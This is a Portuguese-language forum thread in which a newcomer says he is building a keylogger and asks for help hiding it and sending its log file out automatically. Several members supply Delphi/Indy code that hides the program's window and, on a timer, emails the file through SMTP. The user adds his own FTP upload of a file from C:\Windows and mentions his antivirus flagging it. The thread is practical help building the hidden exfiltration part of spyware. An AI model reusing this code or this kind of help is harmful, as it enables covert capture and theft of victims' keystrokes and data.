Duvida Enviar Anexo

[cesargbi16]

Pessoal,

É o seguinte sou novo aqui no forum, e na area de programação tmb e vim pedir a ajuda d vc's.

Minha dúvida é a seguinte estou montando um progaminha aqui e quero q ele envie um arquivo anexo para meu email em um determinado intervalo de tempo o arquivo esta em c:\windows e q seja tudo oculto.

Desde de ja muito obrigado...

[Black-Hat]

Minha sugestão é que você use o componente Indy pra fazer isso...

Vc coloca os componentes no form e faz assim:

if FileExists(anexo.Text) then TIdAttachment.Create(mensagem.MessageParts, anexo.Text) ;

No caso "anexo" é um Edit com o caminho físico do arquivo e mensagem é um TIdMessage.
Pra enviar a mensagem use um TIdSMTP....

[cesargbi16]

Vc coloca os componentes no form e faz assim:

No caso "anexo" é um Edit com o caminho físico do arquivo e mensagem é um TIdMessage.
Pra enviar a mensagem use um TIdSMTP....

Não quero nda no form ele vai ficar oculto, estou criando um kl, entedeu?

[Kasparov]

Você não poderia usar o comando

Application.ShowMainForm := False;

na parte ViewSource para deixar oculto?

[Black-Hat]

Você não poderia usar o comando


na parte ViewSource para deixar oculto?

Exatamente Kaao...

Cesar faça o que o Kaao disse pra deixar o seu form invisível...nem todo keylogger é feito sem forms...

Mas lembre-se: vc não precisa de um form pra usar componentes vc pode criar objetos sem coloca-los no form (é um pouco mais complicado, mas dá), porém a melhor opção é esconder o form no seu caso.

[cesargbi16]

Sim, mas eu queria o codigo ja pronto entedeu pq eu não sei como é o codigo e quais coponentes inserir entedeu?

s fosse possivel queria q vc's fizesse um breve tutorial so para ne explica mesmo o q eu não sei...

[Kasparov]

Não etendir o que você não etendeu, pois o Black-Hat explicou o que deve inserir e que comandos usar '-'

[cesargbi16]

Cara,

Queria saber o procedimento certo?
Ta eu insiro um idSmtp e um idMessage é isso?
E como eu fasso para determina o tempo sei q é com um time mas q codigo colocar nele quero q envie tudo sozinho...


Help por favor...

[Soultt]

As vezes até pra coisas simples tem que ter o basico, porque se formos falar como fazer desdo principio é melhor eu fazer um e te mandar o projeto =s

Porem como você ainda tem duvida vai o mastigado que consegui fazer

Insira um idSmtp(Tabela Indy Clients) um IdMessage(tabela Indy Misic) e um TTimer(Tabela System)

procedure TForm1.Timer1Timer(Sender: TObject);
var
msg : TIdMessage;
begin
// Informações do host
IdSMTP1.Host := 'smtp.soultt.com.br';
IdSMTP1.Port := 30;
{ Nome de login do usuário }
IdSMTP1.Username := '123';
IdSMTP1.Password := '123';
IdSMTP1.Connect;
if not IdSMTP1.Connected then
raise Exception.Create('Erro de conexão');

msg := TIdMessage.create(Self);

msg.Clear;
//nome
msg.From.Name := 'Soultt Delphi-Programmer';
// seu email
msg.From.Text := 'soultt@soultt.com';
// quem vai receber o email
msg.Recipients.Clear;
msg.Recipients.EMailAddresses := 'Eu@soultt.com';
msg.subject := 'Assunto da mensagem';
//
msg.body.Clear;
msg.Body.Add('Primeira linha da mensagem');
msg.Body.Add('Segunda linha da mensagem');
msg.Body.Add(''); { Linha em branco }
msg.Body.Add('Última linha da mensagem');
// o anexo do arquivo

TIDAttachment.Create(msg.MessageParts,'c:\onde\est a\o\arquivo.txt');

IdSMTP1.Send(msg);
IdSMTP1.Disconnect;
end;

Obs: Smtp.Soultt.com.br não funciona só pra exemplo mesmo nem esses emails

Boa sorte depois diz ai como ficou



No meu codigo se quizer não poem o componente Idmessage... porque eu criei ele dentro do timer ai eu esqueci de tirar ele na parte do insira e ainda não vi o botão de editar aqui do forum pra corrigir isso =S

[cesargbi16]

Mano n quero nda mastigado n só queria uma dica d como fazer vlw...
Eu tinha conseguidofazer d outro geito... Mesmo assim Obrigado...

[cesargbi16]

Esse da i n vai n irmão...
Quando coloco para enviar da o seguinte: O antvirus pergunta s eu quero permitir eu permito so q da o seguite erro depois , violação de acesso no endereço no módulo de leitura de endereço... É isso.

[Soultt]

Esse da i n vai n irmão...
Quando coloco para enviar da o seguinte: O antvirus pergunta s eu quero permitir eu permito so q da o seguite erro depois , violação de acesso no endereço no módulo de leitura de endereço... É isso.

Aqui funcionou mais como usei o servidor do gmail ele pediu autenticação tls ai criei um servidor smtp e ele funcionou normalmente





a deixa Idmessage esse negocio de não poder editar é tenso

[cesargbi16]

Vlw...

Vou ver o q consigo fazer aqui... Brigadão.



Tentei usar FTP no lugar do SMTP mas só q da quase a mesma coisa. O arquivo vai para o meu FTP mas vai em branco n vai com o texto q devia ir contido nele. Logo depois, q envia o arquivo da um erro dizendo q n foi possivel estabelecer ligação com a tal porta, conexão recusada... Teria como resolver isso?

Vlw...





.

[Soultt]

Copia a parte do timer ai pra eu ver se tem algum erro ou tira um print do erro que ta dando pra eu ver

[cesargbi16]

Copia a parte do timer ai pra eu ver se tem algum erro ou tira um print do erro que ta dando pra eu ver

begin
with IdFTP1 do try
Host := 'ftp.servidor.com.br';
Username := 'meu usuario';
Password := 'minhasenha';
Port:=21;
Connect;
ChangeDir('/');
finally
end;

try
IdFTP1.Put('C:\Windows\arquivo.html', 'arquivo.html');
finally
IdFTP1.Disconnect;
end;


Ta ai a parte do código acontece q o arquivo é enviado para o meu servidor mas n vai com os logs vai em branco. Entede?